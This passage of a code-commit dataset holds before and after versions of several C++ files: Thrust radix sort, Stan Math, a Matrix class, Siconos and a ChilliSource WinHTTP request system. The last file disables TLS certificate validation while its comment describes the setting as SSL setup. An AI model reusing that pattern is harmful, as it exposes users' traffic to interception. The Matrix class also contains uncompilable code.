aligned_keys.end(), first);\n return;\n }\n \n thrust::detail::device::cuda::detail::b40c::RadixSortingEnactor<K> sorter(num_elements);\n thrust::detail::device::cuda::detail::b40c::RadixSortStorage<K> storage;\n \n \/\/ allocate temporary buffers\n thrust::detail::raw_cuda_device_buffer<K> temp_keys(num_elements);\n thrust::detail::raw_cuda_device_buffer<unsigned int> temp_spine(sorter.SpineElements());\n thrust::detail::raw_cuda_device_buffer<bool> temp_from_alt(2);\n\n \/\/ define storage\n storage.d_keys = thrust::raw_pointer_cast(&*first);\n storage.d_alt_keys = thrust::raw_pointer_cast(&temp_keys[0]);\n storage.d_spine = thrust::raw_pointer_cast(&temp_spine[0]);\n storage.d_from_alt_storage = thrust::raw_pointer_cast(&temp_from_alt[0]);\n\n \/\/ perform the sort\n sorter.EnactSort(storage);\n \n \/\/ radix sort sometimes leaves results in the alternate buffers\n if (storage.using_alternate_storage)\n {\n thrust::copy(temp_keys.begin(), temp_keys.end(), first);\n }\n\n \/\/ temporary storage automatically freed\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Key-Value Sorting \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ sort values directly\ntemplate<typename RandomAccessIterator1,\n typename RandomAccessIterator2>\nvoid stable_radix_sort_by_key(RandomAccessIterator1 first1,\n RandomAccessIterator1 last1,\n RandomAccessIterator2 first2,\n thrust::detail::true_type)\n{\n typedef typename thrust::iterator_value<RandomAccessIterator1>::type K;\n typedef typename thrust::iterator_value<RandomAccessIterator2>::type V;\n \n unsigned int num_elements = last1 - first1;\n\n \/\/ ensure data is properly aligned\n if (!thrust::detail::util::is_aligned(thrust::raw_pointer_cast(&*first1), 2*sizeof(K)))\n {\n thrust::detail::raw_cuda_device_buffer<K> aligned_keys(first1, last1);\n stable_radix_sort_by_key(aligned_keys.begin(), aligned_keys.end(), first2);\n thrust::copy(aligned_keys.begin(), aligned_keys.end(), first1);\n return;\n }\n if (!thrust::detail::util::is_aligned(thrust::raw_pointer_cast(&*first2), 2*sizeof(V)))\n {\n thrust::detail::raw_cuda_device_buffer<V> aligned_values(first2, first2 + num_elements);\n stable_radix_sort_by_key(first1, last1, aligned_values.begin());\n thrust::copy(aligned_values.begin(), aligned_values.end(), first2);\n return;\n }\n \n thrust::detail::device::cuda::detail::b40c::RadixSortingEnactor<K,V> sorter(num_elements);\n thrust::detail::device::cuda::detail::b40c::RadixSortStorage<K,V> storage;\n \n \/\/ allocate temporary buffers\n thrust::detail::raw_cuda_device_buffer<K> temp_keys(num_elements);\n thrust::detail::raw_cuda_device_buffer<V> temp_values(num_elements);\n thrust::detail::raw_cuda_device_buffer<unsigned int> temp_spine(sorter.SpineElements());\n thrust::detail::raw_cuda_device_buffer<bool> temp_from_alt(2);\n\n \/\/ define storage\n storage.d_keys = thrust::raw_pointer_cast(&*first1);\n storage.d_values = thrust::raw_pointer_cast(&*first2);\n storage.d_alt_keys = thrust::raw_pointer_cast(&temp_keys[0]);\n storage.d_alt_values = thrust::raw_pointer_cast(&temp_values[0]);\n storage.d_spine = thrust::raw_pointer_cast(&temp_spine[0]);\n storage.d_from_alt_storage = thrust::raw_pointer_cast(&temp_from_alt[0]);\n\n \/\/ perform the sort\n sorter.EnactSort(storage);\n \n \/\/ radix sort sometimes leaves results in the alternate buffers\n if (storage.using_alternate_storage)\n {\n thrust::copy( temp_keys.begin(), temp_keys.end(), first1);\n thrust::copy(temp_values.begin(), temp_values.end(), first2);\n }\n \n \/\/ temporary storage automatically freed\n}\n\n\n\/\/ sort values indirectly\ntemplate<typename RandomAccessIterator1,\n typename RandomAccessIterator2>\nvoid stable_radix_sort_by_key(RandomAccessIterator1 first1,\n RandomAccessIterator1 last1,\n RandomAccessIterator2 first2,\n thrust::detail::false_type)\n{\n typedef typename thrust::iterator_value<RandomAccessIterator2>::type V;\n \n unsigned int num_elements = last1 - first1;\n\n \/\/ sort with integer values and then permute the real values accordingly\n thrust::detail::raw_cuda_device_buffer<unsigned int> permutation(num_elements);\n thrust::sequence(permutation.begin(), permutation.end());\n\n stable_radix_sort_by_key(first1, last1, permutation.begin());\n \n \/\/ copy values into temp vector and then permute\n thrust::detail::raw_cuda_device_buffer<V> temp_values(first2, first2 + num_elements);\n \n \/\/ permute values\n thrust::gather(permutation.begin(), permutation.end(),\n temp_values.begin(),\n first2);\n}\n\n\ntemplate<typename RandomAccessIterator1,\n typename RandomAccessIterator2>\nvoid stable_radix_sort_by_key(RandomAccessIterator1 first1,\n RandomAccessIterator1 last1,\n RandomAccessIterator2 first2)\n{\n typedef typename thrust::iterator_value<RandomAccessIterator2>::type V;\n\n \/\/ decide how to handle values\n static const bool sort_values_directly = thrust::detail::is_trivial_iterator<RandomAccessIterator2>::value &&\n thrust::detail::is_arithmetic<V>::value &&\n sizeof(V) <= 8; \/\/ TODO profile this\n\n \/\/ XXX WAR nvcc 3.0 unused variable warning\n (void) sort_values_directly;\n\n stable_radix_sort_by_key(first1, last1, first2, \n thrust::detail::integral_constant<bool, sort_values_directly>());\n}\n\n} \/\/ end namespace detail\n} \/\/ end namespace cuda\n} \/\/ end namespace device\n} \/\/ end namespace detail\n} \/\/ end namespace thrust\n\n<|endoftext|>"} {"text":"<commit_before>#ifndef STAN_MATH_REV_FUN_QUAD_FORM_SYM_HPP\n#define STAN_MATH_REV_FUN_QUAD_FORM_SYM_HPP\n\n#include <stan\/math\/rev\/meta.hpp>\n#include <stan\/math\/rev\/core.hpp>\n#include <stan\/math\/prim\/err.hpp>\n#include <stan\/math\/prim\/fun\/Eigen.hpp>\n#include <stan\/math\/prim\/fun\/to_ref.hpp>\n#include <stan\/math\/rev\/fun\/quad_form.hpp>\n#include <type_traits>\n\nnamespace stan {\nnamespace math {\n\n\/**\n * Return the quadratic form \\f$ B^T A B \\f$ of a symmetric matrix.\n *\n * Symmetry of the resulting matrix is guaranteed.\n *\n * @tparam EigMat1 type of the first (symmetric) matrix\n * @tparam EigMat2 type of the second matrix\n *\n * @param A symmetric matrix\n * @param B second matrix\n * @return The quadratic form, which is a symmetric matrix of size Cb.\n * If \\c B is a column vector returns a scalar.\n * @throws std::invalid_argument if A is not symmetric, or if A cannot be\n * multiplied by B\n *\/\ntemplate <typename EigMat1, typename EigMat2,\n require_all_eigen_t<EigMat1, EigMat2>* = nullptr,\n require_any_vt_var<EigMat1, EigMat2>* = nullptr>\ninline auto quad_form_sym(const EigMat1& A, const EigMat2& B) {\n check_multiplicable(\"quad_form_sym\", \"A\", A, \"B\", B);\n const auto& A_ref = to_ref(A);\n check_symmetric(\"quad_form_sym\", \"A\", A_ref);\n return quad_form(A_ref, B);\n}\n\n} \/\/ namespace math\n} \/\/ namespace stan\n#endif\n<commit_msg>fixes #2095; using the symmetric version of quad_form<commit_after>#ifndef STAN_MATH_REV_FUN_QUAD_FORM_SYM_HPP\n#define STAN_MATH_REV_FUN_QUAD_FORM_SYM_HPP\n\n#include <stan\/math\/rev\/meta.hpp>\n#include <stan\/math\/rev\/core.hpp>\n#include <stan\/math\/prim\/err.hpp>\n#include <stan\/math\/prim\/fun\/Eigen.hpp>\n#include <stan\/math\/prim\/fun\/to_ref.hpp>\n#include <stan\/math\/rev\/fun\/quad_form.hpp>\n#include <type_traits>\n\nnamespace stan {\nnamespace math {\n\n\/**\n * Return the quadratic form \\f$ B^T A B \\f$ of a symmetric matrix.\n *\n * Symmetry of the resulting matrix is guaranteed.\n *\n * @tparam EigMat1 type of the first (symmetric) matrix\n * @tparam EigMat2 type of the second matrix\n *\n * @param A symmetric matrix\n * @param B second matrix\n * @return The quadratic form, which is a symmetric matrix of size Cb.\n * If \\c B is a column vector returns a scalar.\n * @throws std::invalid_argument if A is not symmetric, or if A cannot be\n * multiplied by B\n *\/\ntemplate <typename EigMat1, typename EigMat2,\n require_all_eigen_t<EigMat1, EigMat2>* = nullptr,\n require_any_vt_var<EigMat1, EigMat2>* = nullptr>\ninline auto quad_form_sym(const EigMat1& A, const EigMat2& B) {\n check_multiplicable(\"quad_form_sym\", \"A\", A, \"B\", B);\n const auto& A_ref = to_ref(A);\n check_symmetric(\"quad_form_sym\", \"A\", A_ref);\n return quad_form(A_ref, B, true);\n}\n\n} \/\/ namespace math\n} \/\/ namespace stan\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*\n matrix.cpp\n\n Purpose: A Matrix implementation to ease future problems that\n could more efficiently be solved with Matrix abstraction.\n\n @author c650\n @version 0.1 1\/10\/16\n\n The MIT License (MIT)\n\n Copyright (c) 2016 c650\n\n*\/\n#include <iostream>\n#include <vector>\n#include <cstdlib>\n\n\/*\n Begin the Matrix class:\n*\/\ntemplate <typename T> class Matrix {\n \/*\n `elements` is a 2D array that is\n a vector of the rows of the matrix.\n *\/\n std::vector< std::vector<T> > elements;\n\npublic:\n \/*\n Constructors:\n *\/\n \/*\n Makes a new instance of Matrix\n\n @param elem a 2D vector that represents what a\n Matrix actually is.\n\n @return a new instance of Matrix\n *\/\n Matrix(std::vector< std::vector<T> > elem) : elements(elem) {}\n \/*\n Makes a new instance of Matrix\n\n @param m another instance of Matrix to copy\n using func get_all_elements()\n\n @return a new instance of Matrix\n *\/\n Matrix(Matrix &m) : elements(m.elements) {}\n \/*\n Makes a new, empty instance of Matrix\n\n @param rows the number of rows desired\n @param cols the number of columns desired\n\n @return a new instance of Matrix\n *\/\n Matrix(const int &rows, const int &cols) {\n std::vector< std::vector<T> > _elem(rows, std::vector<T>(cols));\n elements = _elem;\n }\n\n \/*\n REMEMBER THE DESTRUCTOR\n *\/\n ~Matrix();\n\n \/*\n Column and Row Size Getters:\n *\/\n \/*\n Returns the number of columns in an instance\n of Matrix\n\n @return the number of columns\n *\/\n int num_cols() {\n return elements[0].size();\n }\n \/*\n Returns the number of rows for an instance of\n Matrix\n\n @return the number of columns\n *\/\n int num_rows() {\n return elements.size();\n }\n\n \/*\n Returns a vector representing a row in the Matrix\n\n *\/\n std::vector<T> operator[](const int &rhs) {\n if (abs(rhs) > num_rows()) {\n throw \"operator[] in Matrix out of bounds\";\n }\n\n if (rhs >= 0) {\n return elements[rhs];\n } else {\n return elements[num_rows() + rhs];\n }\n\n }\n \/*\n Element Getter and Setter:\n *\/\n \/*\n Changes the value of a given position in\n the Matrix.\n\n @param row the row that holds the value to change\n @param col the column of the value to change\n @param val the value to set\n *\/\n void set(const int &row, const int &col, T const &val) {\n if (this->num_cols() > col && this->num_rows() > row)\n elements[row][col] = val;\n }\n \/*\n Gets the value held at a certain position in\n the Matrix.\n\n @param row the row to read from\n @param col the column to read from\n\n @return the value of type T held at the positon\n row,col in the Matrix\n *\/\n T get(const int &row, const int &col) {\n if (this->num_cols() > col && this->num_rows() > row)\n return elements[row][col];\n else\n return 0;\n }\n \/*\n Matrix Arithmetic Methods\n *\/\n \/*\n ADDITION:\n\n Binary operator to add two matrices together.\n Does not modify either matrix.\n\n @param other the Matrix on the right side of +\n\n @return a Matrix, whose elements are the sums of\n the corresponding elements of `this` and `other`\n *\/\n Matrix<T> operator+(Matrix<T> &other) {\n \/\/ Matrices must be same dimensions to\n \/\/ be addable\n if (this->num_rows() != other.num_rows() || this->num_cols() != other.num_cols())\n return *this;\n\n \/\/ make matrix based on `this`\n Matrix<T> resultant(*this);\n\n for (int i = 0, n = this->num_rows(); i < n; i++) {\n for (int j = 0, o = this->num_cols(); j < o; j++) {\n \/\/ set each value in the resultant equal\n \/\/ to the sum of the corresponding values\n \/\/ in `this` and `other`\n resultant.set(i, j, this->get(i, j) + other.get(i, j));\n }\n }\n\n return resultant;\n }\n \/*\n SUBTRACTION:\n\n Binary operator to subtract two matrices.\n Does not modify either matrix.\n\n @param other the Matrix on the right side of -\n\n @return a Matrix, whose elements are the differences of\n the corresponding elements of `this` and `other`\n *\/\n Matrix<T> operator-(Matrix<T> &other) {\n return (*this) + (other * -1);\n }\n \/*\n MATRIX*MATRIX MULTIPLICATION\n\n Binary operator to multiple two matrices.\n Does not modify either matrix.\n\n @param other the Matrix on the right side of *\n\n @return a Matrix, whose elements are the products of\n the corresponding elements of `this` and `other`, following\n the accepted way of multiplying matrices.\n *\/\n Matrix<T> operator*(Matrix<T> &other) {\n Matrix<T> resultant(this->num_rows(), other.num_cols());\n\n if (this->num_cols() != other.num_rows())\n return *this;\n\n \/\/ go through all rows of the left Matrix\n for (int i = 0, n = this->num_rows(); i < n; i++) {\n\n \/\/ go through all columns of right Matrix for each row\n \/\/ of the left Matrix\n\n for (int j = 0, o = other.num_cols(); j < o; j++) {\n\n T tmp = 0;\n\n int x = 0;\n while (x < n) {\n tmp += (this->get(i, x) * other.get(x, j));\n x++;\n }\n\n resultant.set(i, j, tmp); \/\/ put the tmp into the resultant\n }\n }\n return resultant;\n }\n \/*\n MATRIX*SCALAR MULTIPLICATION\n\n Multiplies a Matrix by a scalar value.\n\n @param other the scalar value\n\n @return the result of scaling `this` by `other`\n *\/\n Matrix<T> operator*(T &other) {\n Matrix<T> resultant(*this);\n\n for (int i = 0, n = this->num_rows(); i < n; i++) {\n for (int j = 0, o = this->num_cols(); j < o; j++) {\n resultant.elements[i][j] *= other;\n }\n }\n\n return resultant;\n }\n \/*\n Matrix Power Method\n Powers >= 1 only!\n\n @param p an unsigned integer >= 1 to which the Matrix will\n be raised.\n\n @return the Matrix raised to the `p` power\n *\/\n Matrix power(const unsigned int &p) {\n if (p == 1)\n return *this;\n else if (p <= 0) \/\/ set for now to keep it safe\n return *this;\n\n Matrix m(*this);\n\n m = m.power(p \/ 2);\n m = m * m;\n\n if (p % 2 == 1)\n m = m * (*this);\n return m;\n }\n \/*\n Matrix Printer\n Formats the Matrix for STDOUT\n *\/\n std::ostream& operator<<(std::ostream& out) {\n for (int i = 0, n = this.num_rows(); i < n; i++) {\n out << \"| \";\n for (int j = 0, o = this.num_cols(); j < o; j++) {\n out << this.elements[i][j] << \" \";\n }\n out << \"|\" << std::endl;\n }\n\n return out;\n }\n};\n\nint main() {\n return 0;\n}<commit_msg>fixing throw erros<commit_after>\/*\n matrix.cpp\n\n Purpose: A Matrix implementation to ease future problems that\n could more efficiently be solved with Matrix abstraction.\n\n @author c650\n @version 0.1 1\/10\/16\n\n The MIT License (MIT)\n\n Copyright (c) 2016 c650\n\n*\/\n#include <iostream>\n#include <vector>\n#include <cstdlib>\n\n\/*\n Begin the Matrix class:\n*\/\ntemplate <typename T> class Matrix {\n \/*\n `elements` is a 2D array that is\n a vector of the rows of the matrix.\n *\/\n std::vector< std::vector<T> > elements;\n\npublic:\n \/*\n Constructors:\n *\/\n \/*\n Makes a new instance of Matrix\n\n @param elem a 2D vector that represents what a\n Matrix actually is.\n\n @return a new instance of Matrix\n *\/\n Matrix(std::vector< std::vector<T> > elem) : elements(elem) {}\n \/*\n Makes a new instance of Matrix\n\n @param m another instance of Matrix to copy\n using func get_all_elements()\n\n @return a new instance of Matrix\n *\/\n Matrix(Matrix &m) : elements(m.elements) {}\n \/*\n Makes a new, empty instance of Matrix\n\n @param rows the number of rows desired\n @param cols the number of columns desired\n\n @return a new instance of Matrix\n *\/\n Matrix(const int &rows, const int &cols) {\n std::vector< std::vector<T> > _elem(rows, std::vector<T>(cols));\n elements = _elem;\n }\n\n \/*\n REMEMBER THE DESTRUCTOR\n *\/\n ~Matrix();\n\n \/*\n Column and Row Size Getters:\n *\/\n \/*\n Returns the number of columns in an instance\n of Matrix\n\n @return the number of columns\n *\/\n int num_cols() {\n return elements[0].size();\n }\n \/*\n Returns the number of rows for an instance of\n Matrix\n\n @return the number of columns\n *\/\n int num_rows() {\n return elements.size();\n }\n\n \/*\n Returns a vector representing a row in the Matrix\n\n *\/\n std::vector<T> operator[](const int &rhs) {\n if (abs(rhs) > num_rows()) {\n throw std::invalid_argument(\"operator[] in Matrix out of bounds\");\n }\n\n if (rhs >= 0) {\n return elements[rhs];\n } else {\n return elements[num_rows() + rhs];\n }\n\n }\n \/*\n Element Getter and Setter:\n *\/\n \/*\n Changes the value of a given position in\n the Matrix.\n\n @param row the row that holds the value to change\n @param col the column of the value to change\n @param val the value to set\n *\/\n void set(const int &row, const int &col, T const &val) {\n if (this->num_cols() > col && this->num_rows() > row)\n elements[row][col] = val;\n }\n \/*\n Gets the value held at a certain position in\n the Matrix.\n\n @param row the row to read from\n @param col the column to read from\n\n @return the value of type T held at the positon\n row,col in the Matrix\n *\/\n T get(const int &row, const int &col) {\n if (this->num_cols() > col && this->num_rows() > row)\n return elements[row][col];\n else\n return 0;\n }\n \/*\n Matrix Arithmetic Methods\n *\/\n \/*\n ADDITION:\n\n Binary operator to add two matrices together.\n Does not modify either matrix.\n\n @param other the Matrix on the right side of +\n\n @return a Matrix, whose elements are the sums of\n the corresponding elements of `this` and `other`\n *\/\n Matrix<T> operator+(Matrix<T> &other) {\n \/\/ Matrices must be same dimensions to\n \/\/ be addable\n if (this->num_rows() != other.num_rows() || this->num_cols() != other.num_cols())\n throw std::invalid_argument(\"these Matrices cannot be added\/subtracted\");\n\n \/\/ make matrix based on `this`\n Matrix<T> resultant(*this);\n\n for (int i = 0, n = this->num_rows(); i < n; i++) {\n for (int j = 0, o = this->num_cols(); j < o; j++) {\n \/\/ set each value in the resultant equal\n \/\/ to the sum of the corresponding values\n \/\/ in `this` and `other`\n resultant.set(i, j, this->get(i, j) + other.get(i, j));\n }\n }\n\n return resultant;\n }\n \/*\n SUBTRACTION:\n\n Binary operator to subtract two matrices.\n Does not modify either matrix.\n\n @param other the Matrix on the right side of -\n\n @return a Matrix, whose elements are the differences of\n the corresponding elements of `this` and `other`\n *\/\n Matrix<T> operator-(Matrix<T> &other) {\n return (*this) + (other * -1);\n }\n \/*\n MATRIX*MATRIX MULTIPLICATION\n\n Binary operator to multiple two matrices.\n Does not modify either matrix.\n\n @param other the Matrix on the right side of *\n\n @return a Matrix, whose elements are the products of\n the corresponding elements of `this` and `other`, following\n the accepted way of multiplying matrices.\n *\/\n Matrix<T> operator*(Matrix<T> &other) {\n Matrix<T> resultant(this->num_rows(), other.num_cols());\n\n if (this->num_cols() != other.num_rows())\n throw std::invalid_argument(\"these Matrices cannot be multiplied\");\n\n \/\/ go through all rows of the left Matrix\n for (int i = 0, n = this->num_rows(); i < n; i++) {\n\n \/\/ go through all columns of right Matrix for each row\n \/\/ of the left Matrix\n\n for (int j = 0, o = other.num_cols(); j < o; j++) {\n\n T tmp = 0;\n\n int x = 0;\n while (x < n) {\n tmp += (this->get(i, x) * other.get(x, j));\n x++;\n }\n\n resultant.set(i, j, tmp); \/\/ put the tmp into the resultant\n }\n }\n return resultant;\n }\n \/*\n MATRIX*SCALAR MULTIPLICATION\n\n Multiplies a Matrix by a scalar value.\n\n @param other the scalar value\n\n @return the result of scaling `this` by `other`\n *\/\n Matrix<T> operator*(T &other) {\n Matrix<T> resultant(*this);\n\n for (int i = 0, n = this->num_rows(); i < n; i++) {\n for (int j = 0, o = this->num_cols(); j < o; j++) {\n resultant.elements[i][j] *= other;\n }\n }\n\n return resultant;\n }\n \/*\n Matrix Power Method\n Powers >= 1 only!\n\n @param p an unsigned integer >= 1 to which the Matrix will\n be raised.\n\n @return the Matrix raised to the `p` power\n *\/\n Matrix power(const unsigned int &p) {\n if (p == 1)\n return *this;\n else if (p <= 0) \/\/ set for now to keep it safe\n return *this;\n\n Matrix m(*this);\n\n m = m.power(p \/ 2);\n m = m * m;\n\n if (p % 2 == 1)\n m = m * (*this);\n return m;\n }\n \/*\n Matrix Printer\n Formats the Matrix for STDOUT\n *\/\n std::ostream& operator<<(std::ostream& out) {\n for (int i = 0, n = this.num_rows(); i < n; i++) {\n out << \"| \";\n for (int j = 0, o = this.num_cols(); j < o; j++) {\n out << this.elements[i][j] << \" \";\n }\n out << \"|\" << std::endl;\n }\n\n return out;\n }\n};\n\nint main() {\n return 0;\n}<|endoftext|>"} {"text":"<commit_before>#include \"MechanicsFwd.hpp\"\n#include \"NewtonEulerDS.hpp\"\n#include \"RigidBody2dDS.hpp\"\n#include \"SiconosContactor.hpp\"\nRigidBody2dDS::RigidBody2dDS(SP::SiconosVector position,\n SP::SiconosVector velocity,\n SP::SiconosMatrix mass)\n : LagrangianLinearTIDS(position, velocity, mass)\n , _contactors(std::make_shared<SiconosContactorSet>())\n , _useContactorInertia(true)\n , _allowSelfCollide(true)\n{\n \/\/ Check size of positions, velocities and mass matrix\n _scalarMass = mass->getValue(0,0);\n}\n\nRigidBody2dDS::RigidBody2dDS(SP::SiconosVector position,\n SP::SiconosVector velocity,\n double mass,\n double inertia)\n : LagrangianLinearTIDS(position, velocity, SP::SimpleMatrix(new SimpleMatrix(3,3)))\n ,_scalarMass(mass)\n , _contactors(std::make_shared<SiconosContactorSet>())\n , _useContactorInertia(true)\n , _allowSelfCollide(true)\n{\n _mass->setValue(0,0,mass);\n _mass->setValue(1,1,mass);\n _mass->setValue(2,2,inertia);\n\n \/\/ Check size of positions, velocities and mass matrix\n}\n\nRigidBody2dDS::~RigidBody2dDS()\n{\n}\n<commit_msg>[mechanics] check size of position and velocity<commit_after>#include \"MechanicsFwd.hpp\"\n#include \"NewtonEulerDS.hpp\"\n#include \"RigidBody2dDS.hpp\"\n#include \"SiconosContactor.hpp\"\nRigidBody2dDS::RigidBody2dDS(SP::SiconosVector position,\n SP::SiconosVector velocity,\n SP::SiconosMatrix mass)\n : LagrangianLinearTIDS(position, velocity, mass)\n , _contactors(std::make_shared<SiconosContactorSet>())\n , _useContactorInertia(true)\n , _allowSelfCollide(true)\n{\n \/\/ Check size of positions, velocities and mass matrix\n if((position->size() !=3) or (velocity->size() !=3))\n {\n THROW_EXCEPTION(\"RigidBody2dDS::RigidBody2dDS(...). The size of position and velocity must of size 3\");\n }\n\n _scalarMass = mass->getValue(0,0);\n}\n\nRigidBody2dDS::RigidBody2dDS(SP::SiconosVector position,\n SP::SiconosVector velocity,\n double mass,\n double inertia)\n : LagrangianLinearTIDS(position, velocity, SP::SimpleMatrix(new SimpleMatrix(3,3)))\n ,_scalarMass(mass)\n , _contactors(std::make_shared<SiconosContactorSet>())\n , _useContactorInertia(true)\n , _allowSelfCollide(true)\n{\n _mass->setValue(0,0,mass);\n _mass->setValue(1,1,mass);\n _mass->setValue(2,2,inertia);\n\n \/\/ Check size of positions, velocities and mass matrix\n if((position->size() !=3) or (velocity->size() !=3))\n {\n THROW_EXCEPTION(\"RigidBody2dDS::RigidBody2dDS(...). The size of position and velocity must of size 3\");\n }\n\n\n}\n\nRigidBody2dDS::~RigidBody2dDS()\n{\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\r\n\/\/ HttpRequestSystem.cpp\r\n\/\/ Chilli Source\r\n\/\/ Created by Scott Downie on 23\/05\/2011.\r\n\/\/\r\n\/\/ The MIT License (MIT)\r\n\/\/\r\n\/\/ Copyright (c) 2011 Tag Games Limited\r\n\/\/\r\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\r\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\r\n\/\/ in the Software without restriction, including without limitation the rights\r\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\r\n\/\/ copies of the Software, and to permit persons to whom the Software is\r\n\/\/ furnished to do so, subject to the following conditions:\r\n\/\/\r\n\/\/ The above copyright notice and this permission notice shall be included in\r\n\/\/ all copies or substantial portions of the Software.\r\n\/\/\r\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\r\n\/\/ THE SOFTWARE.\r\n\/\/\r\n\r\n#ifdef CS_TARGETPLATFORM_WINDOWS\r\n\r\n#include <CSBackend\/Platform\/Windows\/Networking\/Http\/HttpRequestSystem.h>\r\n\r\n#include <CSBackend\/Platform\/Windows\/Core\/String\/WindowsStringUtils.h>\r\n#include <ChilliSource\/Core\/Base\/Application.h>\r\n#include <ChilliSource\/Core\/Threading\/TaskScheduler.h>\r\n\r\n#include <Windows.h>\r\n#include <winhttp.h>\r\n\r\n#pragma comment(lib, \"winhttp\")\r\n\r\nnamespace CSBackend\r\n{\r\n\tnamespace Windows\r\n\t{\r\n\t\tnamespace\r\n\t\t{\r\n\t\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\t\t\/\/\/ Setup the request to use SSL level 3\r\n\t\t\t\/\/\/\r\n\t\t\t\/\/\/ @author S Downie\r\n\t\t\t\/\/\/\r\n\t\t\t\/\/\/ @param Request handle\r\n\t\t\t\/\/\/\r\n\t\t\t\/\/\/ @return Success or failure\r\n\t\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\t\tbool ApplySSLSettings(HINTERNET in_requestHandle)\r\n\t\t\t{\r\n\t\t\t\tDWORD requestOptions = SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;\r\n\t\t\t\tif (!WinHttpSetOption(in_requestHandle, WINHTTP_OPTION_SECURITY_FLAGS, &requestOptions, sizeof(DWORD)))\r\n\t\t\t\t{\r\n\t\t\t\t\tCS_LOG_ERROR(\"Failed to set HTTP SSL security flag options\");\r\n\t\t\t\t\treturn false;\r\n\t\t\t\t}\r\n\r\n\t\t\t\treturn true;\r\n\t\t\t}\r\n\t\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\t\t\/\/\/ Convert param dictionary to header format required by WinHTTP\r\n\t\t\t\/\/\/\r\n\t\t\t\/\/\/ @author S Downie\r\n\t\t\t\/\/\/\r\n\t\t\t\/\/\/ @param Header dictionary\r\n\t\t\t\/\/\/\r\n\t\t\t\/\/\/ @return Header blob\r\n\t\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\t\tstd::wstring ConvertHeaders(const ChilliSource::ParamDictionary& in_headers)\r\n\t\t\t{\r\n\t\t\t\t\/\/The headers must be passed as a single string with each header except the last\r\n\t\t\t\t\/\/terminated by a carraige return\/line feed\r\n\t\t\t\tstd::string headerBlob;\r\n\t\t\t\tfor (auto it = in_headers.begin(); it != in_headers.end(); ++it)\r\n\t\t\t\t{\r\n\t\t\t\t\theaderBlob += it->first;\r\n\t\t\t\t\theaderBlob += \": \";\r\n\t\t\t\t\theaderBlob += it->second;\r\n\t\t\t\t\theaderBlob += '\\r';\r\n\t\t\t\t\theaderBlob += '\\n';\r\n\t\t\t\t}\r\n\r\n\t\t\t\tCS_ASSERT(headerBlob.length() > 2, \"Http: Cannot convert empty headers\");\r\n\r\n\t\t\t\tstd::wstring headerBlobWide(headerBlob.length() - 2, L' ');\r\n\t\t\t\tstd::copy(headerBlob.begin(), headerBlob.end()-2, headerBlobWide.begin());\r\n\t\t\t\treturn headerBlobWide;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tCS_DEFINE_NAMEDTYPE(HttpRequestSystem);\r\n\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\tvoid HttpRequestSystem::OnInit()\r\n\t\t{\r\n\t\t\tm_sessionHandle = ::WinHttpOpen(L\"CSWinHttpClient\", WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);\r\n\t\t\tCS_ASSERT(m_sessionHandle != nullptr, \"Failed to open WinHTTP session\");\r\n\t\t}\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\tbool HttpRequestSystem::IsA(ChilliSource::InterfaceIDType in_interfaceId) const\r\n\t\t{\r\n\t\t\treturn in_interfaceId == ChilliSource::HttpRequestSystem::InterfaceID || in_interfaceId == HttpRequestSystem::InterfaceID;\r\n\t\t}\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\tHttpRequest* HttpRequestSystem::MakeGetRequest(const std::string& in_url, const HttpRequest::Delegate& in_delegate, u32 in_timeoutSecs)\r\n\t\t{\r\n\t\t\treturn MakeRequest(HttpRequest::Type::k_get, in_url, \"\", ChilliSource::ParamDictionary(), in_delegate, in_timeoutSecs);\r\n\t\t}\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\tHttpRequest* HttpRequestSystem::MakeGetRequest(const std::string& in_url, const ChilliSource::ParamDictionary& in_headers, const HttpRequest::Delegate& in_delegate, u32 in_timeoutSecs)\r\n\t\t{\r\n\t\t\treturn MakeRequest(HttpRequest::Type::k_get, in_url, \"\", in_headers, in_delegate, in_timeoutSecs);\r\n\t\t}\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\t\/\/--------------------------------------------------------------------------------------------------\r\n\t\tHttpRequest* HttpRequestSystem::MakePostRequest(const std::string& in_url, const std::string& in_body, const HttpRequest::Delegate& in_delegate, u32 in_timeoutSecs)\r\n\t\t{\r\n\t\t\treturn MakeRequest(HttpRequest::Type::k_post, in_url, in_body, ChilliSource::ParamDictionary(), in_delegate, 